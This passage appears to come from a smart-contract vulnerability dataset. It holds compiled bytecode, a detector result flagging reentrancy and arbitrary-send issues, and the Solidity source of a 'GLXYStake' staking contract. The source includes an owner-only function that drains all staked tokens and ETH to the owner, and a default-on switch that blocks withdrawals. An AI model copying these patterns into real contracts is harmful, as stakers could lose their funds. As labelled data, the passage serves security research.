000000000000000000000000000000000000000008152600401611b319190612c33565b60405180910390fd5b5060008385611b499190612f7b565b9050809150509392505050565b600080831415611b695760009050611bcb565b60008284611b779190612f21565b9050828482611b869190612ef0565b14611bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbd90612cf5565b60405180910390fd5b809150505b92915050565b6000611c1383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061213e565b905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6b600284611bd190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c96573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce7600284611bd190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b5050565b6000600654821115611d5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5490612c75565b60405180910390fd5b6000611d676121a1565b9050611d7c8184611bd190919063ffffffff16565b915050919050565b6000611dc683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611af2565b905092915050565b60016014806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e2b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e595781602001602082028036833780820191505090505b5090503081600081518110611e97577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f3957600080fd5b505afa158015611f4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f7191906127b3565b81600181518110611fab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061201230601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e9d565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612076959493929190612dd0565b600060405180830381600087803b15801561209057600080fd5b505af11580156120a4573d6000803e3d6000fd5b505050505060006014806101000a81548160ff02191690831515021790555050565b600360088190555060026009819055506005600a81905550565b60018111156121055760066008819055506004600981905550600a808190555061210e565b61210d6120c6565b5b50565b8061211f5761211e6121cc565b5b61212a848484612213565b80612138576121376120c6565b5b50505050565b60008083118290612185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217c9190612c33565b60405180910390fd5b50600083856121949190612ef0565b9050809150509392505050565b60008060006121ae6123de565b915091506121c58183611bd190919063ffffffff16565b9250505090565b60006008541480156121e057506000600954145b80156121ee57506000600a54145b156121f857612211565b600060088190555060006009819055506000600a819055505b565b60008060008060008061222587612440565b95509550955095509550955061228386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ab90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236481612509565b61236e84836125c6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123cb9190612db5565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea000009050612414683635c9adc5dea00000600654611bd190919063ffffffff16565b82101561243357600654683635c9adc5dea0000093509350505061243c565b81819350935050505b9091565b60008060008060008060008060006124608a600854600954600a54612600565b92509250925060006124706121a1565b905060008060006124838e8787876126ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60008082846124ba9190612e9a565b9050838110156124ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f690612cb5565b60405180910390fd5b8091505092915050565b60006125136121a1565b9050600061252a8284611b5690919063ffffffff16565b905061257e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ab90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125db82600654611d8490919063ffffffff16565b6006819055506125f6816007546124ab90919063ffffffff16565b6007819055505050565b6000806000806126378660646126169190612f7b565b612629898b611b5690919063ffffffff16565b611bd190919063ffffffff16565b9050600061266c87606461264b9190612f7b565b61265e888c611b5690919063ffffffff16565b611bd190919063ffffffff16565b9050600061269582612687858d611d8490919063ffffffff16565b611d8490919063ffffffff16565b90508083839550955095505050509450945094915050565b6000806000806126c68589611b5690919063ffffffff16565b905060006126dd8689611b5690919063ffffffff16565b905060006126f48789611b5690919063ffffffff16565b9050600061271d8261270f8587611d8490919063ffffffff16565b611d8490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506127458161343a565b92915050565b60008151905061275a8161343a565b92915050565b60008135905061276f81613451565b92915050565b60008135905061278481613468565b92915050565b60006020828403121561279c57600080fd5b60006127aa84828501612736565b91505092915050565b6000602082840312156127c557600080fd5b60006127d38482850161274b565b91505092915050565b6000602082840312156127ee57600080fd5b60006127fc84828501612760565b91505092915050565b6000806040838503121561281857600080fd5b600061282685828601612736565b925050602061283785828601612736565b9150509250929050565b60008060006060848603121561285657600080fd5b600061286486828701612736565b935050602061287586828701612736565b925050604061288686828701612775565b9150509250925092565b600080604083850312156128a357600080fd5b60006128b185828601612736565b92505060206128c285828601612775565b9150509250929050565b6000602082840312156128de57600080fd5b60006128ec84828501612775565b91505092915050565b6000612901838361292b565b60208301905092915050565b61291681613016565b82525050565b61292581612fc1565b82525050565b61293481612faf565b82525050565b61294381612faf565b82525050565b600061295482612e55565b61295e8185612e78565b935061296983612e45565b8060005b8381101561299a57815161298188826128f5565b975061298c83612e6b565b92505060018101905061296d565b5085935050505092915050565b6129b081612fd3565b82525050565b6129bf81613028565b82525050565b6129ce8161304c565b82525050565b60006129df82612e60565b6129e98185612e89565b93506129f9818560208601613082565b612a028161315c565b840191505092915050565b6000612a1a602383612e89565b9150612a258261316d565b604082019050919050565b6000612a3d602a83612e89565b9150612a48826131bc565b604082019050919050565b6000612a60602283612e89565b9150612a6b8261320b565b604082019050919050565b6000612a83601b83612e89565b9150612a8e8261325a565b602082019050919050565b6000612aa6601d83612e89565b9150612ab182613283565b602082019050919050565b6000612ac9602183612e89565b9150612ad4826132ac565b604082019050919050565b6000612aec602083612e89565b9150612af7826132fb565b602082019050919050565b6000612b0f602983612e89565b9150612b1a82613324565b604082019050919050565b6000612b32602583612e89565b9150612b3d82613373565b604082019050919050565b6000612b55602483612e89565b9150612b60826133c2565b604082019050919050565b6000612b78601183612e89565b9150612b8382613411565b602082019050919050565b612b9781612fff565b82525050565b612ba681613009565b82525050565b6000602082019050612bc1600083018461293a565b92915050565b6000602082019050612bdc600083018461290d565b92915050565b6000602082019050612bf7600083018461291c565b92915050565b6000602082019050612c1260008301846129a7565b92915050565b6000602082019050612c2d60008301846129b6565b92915050565b60006020820190508181036000830152612c4d81846129d4565b905092915050565b60006020820190508181036000830152612c6e81612a0d565b9050919050565b60006020820190508181036000830152612c8e81612a30565b9050919050565b60006020820190508181036000830152612cae81612a53565b9050919050565b60006020820190508181036000830152612cce81612a76565b9050919050565b60006020820190508181036000830152612cee81612a99565b9050919050565b60006020820190508181036000830152612d0e81612abc565b9050919050565b60006020820190508181036000830152612d2e81612adf565b9050919050565b60006020820190508181036000830152612d4e81612b02565b9050919050565b60006020820190508181036000830152612d6e81612b25565b9050919050565b60006020820190508181036000830152612d8e81612b48565b9050919050565b60006020820190508181036000830152612dae81612b6b565b9050919050565b6000602082019050612dca6000830184612b8e565b92915050565b600060a082019050612de56000830188612b8e565b612df260208301876129c5565b8181036040830152612e048186612949565b9050612e13606083018561293a565b612e206080830184612b8e565b9695505050505050565b6000602082019050612e3f6000830184612b9d565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ea582612fff565b9150612eb083612fff565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ee557612ee46130fe565b5b828201905092915050565b6000612efb82612fff565b9150612f0683612fff565b925082612f1657612f1561312d565b5b828204905092915050565b6000612f2c82612fff565b9150612f3783612fff565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f7057612f6f6130fe565b5b828202905092915050565b6000612f8682612fff565b9150612f9183612fff565b925082821015612fa457612fa36130fe565b5b828203905092915050565b6000612fba82612fdf565b9050919050565b6000612fcc82612fdf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130218261305e565b9050919050565b60006130338261303a565b9050919050565b600061304582612fdf565b9050919050565b600061305782612fff565b9050919050565b600061306982613070565b9050919050565b600061307b82612fdf565b9050919050565b60005b838110156130a0578082015181840152602081019050613085565b838111156130af576000848401525b50505050565b60006130c082612fff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130f3576130f26130fe565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61344381612faf565b811461344e57600080fd5b50565b61345a81612fc1565b811461346557600080fd5b50565b61347181612fff565b811461347c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206817e6cc6319865ade49b9ba0cb2284798da5f01ab3bba894fa0fd0c665d221f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,760
0x975e367a2539a876290abdc3fe869244fe4dee77
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.5; // ---------------------------------------------------------------------------- // SafeMath library // ---------------------------------------------------------------------------- library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { require(_newOwner != address(0), "ERC20: sending to the zero address"); owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address tokenOwner) external view returns (uint256 balance); function allowance(address tokenOwner, address spender) external view returns (uint256 remaining); function transfer(address to, uint256 tokens) external returns (bool success); function approve(address spender, uint256 tokens) external returns (bool success); function transferFrom(address from, address to, uint256 tokens) external returns (bool success); function burnTokens(uint256 _amount) external; event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract GLXYStake is Owned { using SafeMath for uint256; address public GLXYLP = 0xef3EAdEf913997Fe714fff25235C64129893e80E; address public GLXY = 0x6E6E84BB5918CEDC35b9B7a12F827878C3d7012a; address public lpLockAddress = 0x44F8C8a774Ee34d538e4cEf9c6962927cEBd2F67; uint256 public totalStakes = 0; uint256 public totalDividends = 0; uint256 private scaledRemainder = 0; uint256 private scaling = uint256(10) ** 12; uint public round = 1; uint256 public maxAllowed = 350000000000000000000; //350 tokens total allowed to be staked uint256 public ethMade=0; //total payout given /* Fees breaker, to protect withdraws if anything ever goes wrong */ bool public breaker = true; // withdraw can be unlock,, default locked mapping(address => uint) public farmTime; // period that your sake it locked to keep it for farming //uint public lock = 0; // farm lock in blocks ~ 0 days for 15s/block //address public admin; struct USER{ uint256 stakedTokens; uint256 lastDividends; uint256 fromTotalDividend; uint round; uint256 remainder; } address[] internal stakeholders; mapping(address => USER) stakers; mapping (uint => uint256) public payouts; // keeps record of each payout event STAKED(address staker, uint256 tokens); event EARNED(address staker, uint256 tokens); event UNSTAKED(address staker, uint256 tokens); event PAYOUT(uint256 round, uint256 tokens, address sender); event CLAIMEDREWARD(address staker, uint256 reward); function setBreaker(bool _breaker) external onlyOwner { breaker = _breaker; } function isStakeholder(address _address) public view returns(bool) { for (uint256 s = 0; s < stakeholders.length; s += 1){ if (_address == stakeholders[s]) return (true); } return (false); } function addStakeholder(address _stakeholder) public { (bool _isStakeholder) = isStakeholder(_stakeholder); if(!_isStakeholder) stakeholders.push(_stakeholder); } function setLpLockAddress(address _account) public onlyOwner { require(_account != address(0), "ERC20: Setting zero address"); lpLockAddress = _account; } // ------------------------------------------------------------------------ // Token holders can stake their tokens using this function // @param tokens number of tokens to stake // ------------------------------------------------------------------------ function STAKE(uint256 tokens) external { require(totalStakes < maxAllowed, "MAX AMOUNT REACHED CANNOT STAKE NO MORE"); require(IERC20(GLXYLP).transferFrom(msg.sender, address(lpLockAddress), tokens), "Tokens cannot be transferred from user for locking"); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = tokens.add(stakers[msg.sender].stakedTokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; (bool _isStakeholder) = isStakeholder(msg.sender); if(!_isStakeholder) farmTime[msg.sender] = block.timestamp; totalStakes = totalStakes.add(tokens); addStakeholder(msg.sender); emit STAKED(msg.sender, tokens); } // ------------------------------------------------------------------------ // Owners can send the funds to be distributed to stakers using this function // @param tokens number of tokens to distribute // ------------------------------------------------------------------------ function ADDFUNDS() external payable { uint256 _amount = msg.value; ethMade = ethMade.add(_amount); _addPayout(_amount); } // ------------------------------------------------------------------------ // Private function to register payouts // ------------------------------------------------------------------------ function _addPayout(uint256 tokens) private{ // divide the funds among the currently staked tokens // scale the deposit and add the previous remainder uint256 available = (tokens.mul(scaling)).add(scaledRemainder); uint256 dividendPerToken = available.div(totalStakes); scaledRemainder = available.mod(totalStakes); totalDividends = totalDividends.add(dividendPerToken); payouts[round] = payouts[round - 1].add(dividendPerToken); emit PAYOUT(round, tokens, msg.sender); round++; } // ------------------------------------------------------------------------ // Stakers can claim their pending rewards using this function // ------------------------------------------------------------------------ function CLAIMREWARD() public { if(totalDividends >= stakers[msg.sender].fromTotalDividend){ uint256 owing = pendingReward(msg.sender); owing = owing.add(stakers[msg.sender].remainder); stakers[msg.sender].remainder = 0; msg.sender.transfer(owing); emit CLAIMEDREWARD(msg.sender, owing); stakers[msg.sender].lastDividends = owing; // unscaled stakers[msg.sender].round = round; // update the round stakers[msg.sender].fromTotalDividend = totalDividends; // scaled } } // ------------------------------------------------------------------------ // Get the pending rewards of the staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function pendingReward(address staker) private returns (uint256) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return amount; } function getPendingReward(address staker) public view returns(uint256 _pendingReward) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); amount += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return (amount.add(stakers[staker].remainder)); } // ------------------------------------------------------------------------ // Stakers can un stake the staked tokens using this function // @param tokens the number of tokens to withdraw // ------------------------------------------------------------------------ function WITHDRAW(uint256 tokens) external { require(breaker == false, "Admin Restricted WITHDRAW"); require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw"); totalStakes = totalStakes.sub(tokens); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; require(IERC20(GLXYLP).transfer(msg.sender, tokens), "Error in un-staking tokens"); emit UNSTAKED(msg.sender, tokens); } // ------------------------------------------------------------------------ // Private function to calculate 1% percentage // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2)); return onePercentofTokens; } // ------------------------------------------------------------------------ // Get the number of tokens staked by a staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function yourStakedGLXYLp(address staker) public view returns(uint256 stakedGLXYLp){ require(staker != address(0), "ERC20: sending to the zero address"); return stakers[staker].stakedTokens; } // ------------------------------------------------------------------------ // Get the GLXY balance of the token holder // @param user the address of the token holder // ------------------------------------------------------------------------ function yourGLXYBalance(address user) external view returns(uint256 GLXYBalance){ require(user != address(0), "ERC20: sending to the zero address"); return IERC20(GLXY).balanceOf(user); } function yourGLXYLpBalance(address user) external view returns(uint256 GLXYLpBalance){ require(user != address(0), "ERC20: sending to the zero address"); return IERC20(GLXYLP).balanceOf(user); } function retByAdmin() public onlyOwner { require(IERC20(GLXYLP).transfer(owner, IERC20(GLXYLP).balanceOf(address(this))), "Error in retrieving tokens"); require(IERC20(GLXY).transfer(owner, IERC20(GLXY).balanceOf(address(this))), "Error in retrieving GLXY tokens"); owner.transfer(address(this).balance); } }
0x6080604052600436106101815760003560e01c8063bf9befb1116100d1578063d38444451161008a578063ea48a00c11610064578063ea48a00c14610495578063ef037b90146104aa578063f2fde38b146104dd578063f3ec37c21461051057610181565b8063d38444451461041a578063e5c42fd11461044d578063e66fbd911461048057610181565b8063bf9befb114610376578063c3f344a81461038b578063c5cc0f16146103be578063ca399671146103d3578063ca84d591146103e8578063cc16ab6e1461041257610181565b80634baf782e1161013e5780638da5cb5b116101185780638da5cb5b146102e857806390d3b2021461031957806398d624041461034c578063997664d71461036157610181565b80634baf782e146102745780634df9d6ba146102895780635c0aeb0e146102bc57610181565b80630f41e0d214610186578063146ca531146101af5780631c233879146101d657806329652e86146101ed5780632b8b4ce3146102175780632c75bcda1461024a575b600080fd5b34801561019257600080fd5b5061019b610543565b604080519115158252519081900360200190f35b3480156101bb57600080fd5b506101c461054c565b60408051918252519081900360200190f35b3480156101e257600080fd5b506101eb610552565b005b3480156101f957600080fd5b506101c46004803603602081101561021057600080fd5b5035610846565b34801561022357600080fd5b506101c46004803603602081101561023a57600080fd5b50356001600160a01b0316610858565b34801561025657600080fd5b506101eb6004803603602081101561026d57600080fd5b5035610920565b34801561028057600080fd5b506101eb610b65565b34801561029557600080fd5b506101c4600480360360208110156102ac57600080fd5b50356001600160a01b0316610c56565b3480156102c857600080fd5b506101eb600480360360208110156102df57600080fd5b50351515610d79565b3480156102f457600080fd5b506102fd610da3565b604080516001600160a01b039092168252519081900360200190f35b34801561032557600080fd5b506101c46004803603602081101561033c57600080fd5b50356001600160a01b0316610db2565b34801561035857600080fd5b506102fd610e46565b34801561036d57600080fd5b506101c4610e55565b34801561038257600080fd5b506101c4610e5b565b34801561039757600080fd5b506101c4600480360360208110156103ae57600080fd5b50356001600160a01b0316610e61565b3480156103ca57600080fd5b506101c4610e73565b3480156103df57600080fd5b506101c4610e79565b3480156103f457600080fd5b506101eb6004803603602081101561040b57600080fd5b5035610e7f565b6101eb611063565b34801561042657600080fd5b506101c46004803603602081101561043d57600080fd5b50356001600160a01b031661107e565b34801561045957600080fd5b506101eb6004803603602081101561047057600080fd5b50356001600160a01b03166110e1565b34801561048c57600080fd5b506102fd611143565b3480156104a157600080fd5b506102fd611152565b3480156104b657600080fd5b5061019b600480360360208110156104cd57600080fd5b50356001600160a01b0316611161565b3480156104e957600080fd5b506101eb6004803603602081101561050057600080fd5b50356001600160a01b03166111b6565b34801561051c57600080fd5b506101eb6004803603602081101561053357600080fd5b50356001600160a01b031661125d565b600b5460ff1681565b60085481565b6000546001600160a01b0316331461056957600080fd5b600154600054604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b1580156105c157600080fd5b505afa1580156105d5573d6000803e3d6000fd5b505050506040513d60208110156105eb57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561063c57600080fd5b505af1158015610650573d6000803e3d6000fd5b505050506040513d602081101561066657600080fd5b50516106b9576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e2072657472696576696e6720746f6b656e73000000000000604482015290519081900360640190fd5b600254600054604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b15801561071157600080fd5b505afa158015610725573d6000803e3d6000fd5b505050506040513d602081101561073b57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d60208110156107b657600080fd5b5051610809576040805162461bcd60e51b815260206004820152601f60248201527f4572726f7220696e2072657472696576696e6720474c585920746f6b656e7300604482015290519081900360640190fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610843573d6000803e3d6000fd5b50565b600f6020526000908152604090205481565b60006001600160a01b03821661089f5760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600254604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b1580156108ec57600080fd5b505afa158015610900573d6000803e3d6000fd5b505050506040513d602081101561091657600080fd5b505190505b919050565b600b5460ff1615610978576040805162461bcd60e51b815260206004820152601960248201527f41646d696e205265737472696374656420574954484452415700000000000000604482015290519081900360640190fd5b336000908152600e602052604090205481118015906109975750600081115b6109e8576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b6004546109f590826112f1565b6004556000610a033361133c565b336000908152600e602052604090206004810180548301905554909150610a2a90836112f1565b336000818152600e60209081526040808320948555600180860187905560055460028701556008546003909601959095559354845163a9059cbb60e01b815260048101949094526024840187905293516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b158015610aa957600080fd5b505af1158015610abd573d6000803e3d6000fd5b505050506040513d6020811015610ad357600080fd5b5051610b26576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b604080513381526020810184905281517f4c48d8823de8aa74e6ea4bed3a0c422e95a3d1e10f8f3e47dc7e2fe779be9514929181900390910190a15050565b336000908152600e602052604090206002015460055410610c54576000610b8b3361133c565b336000908152600e6020526040902060040154909150610bac90829061144a565b336000818152600e602052604080822060040182905551929350909183156108fc0291849190818181858888f19350505050158015610bef573d6000803e3d6000fd5b50604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600e60205260409020600181019190915560085460038201556005546002909101555b565b60006001600160a01b038216610c9d5760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b6001600160a01b0382166000908152600e602090815260408083206003810154600754915460001982018652600f90945291842054600554929493610cf693610cf092610cea91906112f1565b906114a4565b906114fd565b6007546001600160a01b0386166000908152600e602090815260408083205460001988018452600f909252909120546005549394509192610d3b92610cea91906112f1565b81610d4257fe5b6001600160a01b0386166000908152600e60205260409020600401549190069190910190610d7190829061144a565b949350505050565b6000546001600160a01b03163314610d9057600080fd5b600b805460ff1916911515919091179055565b6000546001600160a01b031681565b60006001600160a01b038216610df95760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600154604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b1580156108ec57600080fd5b6003546001600160a01b031681565b60055481565b60045481565b600c6020526000908152604090205481565b600a5481565b60095481565b60095460045410610ec15760405162461bcd60e51b815260040180806020018281038252602781526020018061183b6027913960400191505060405180910390fd5b600154600354604080516323b872dd60e01b81523360048201526001600160a01b03928316602482015260448101859052905191909216916323b872dd9160648083019260209291908290030181600087803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b505050506040513d6020811015610f4a57600080fd5b5051610f875760405162461bcd60e51b81526004018080602001828103825260328152602001806117c66032913960400191505060405180910390fd5b6000610f923361133c565b336000908152600e602052604090206004810180548301905554909150610fba90839061144a565b336000818152600e6020526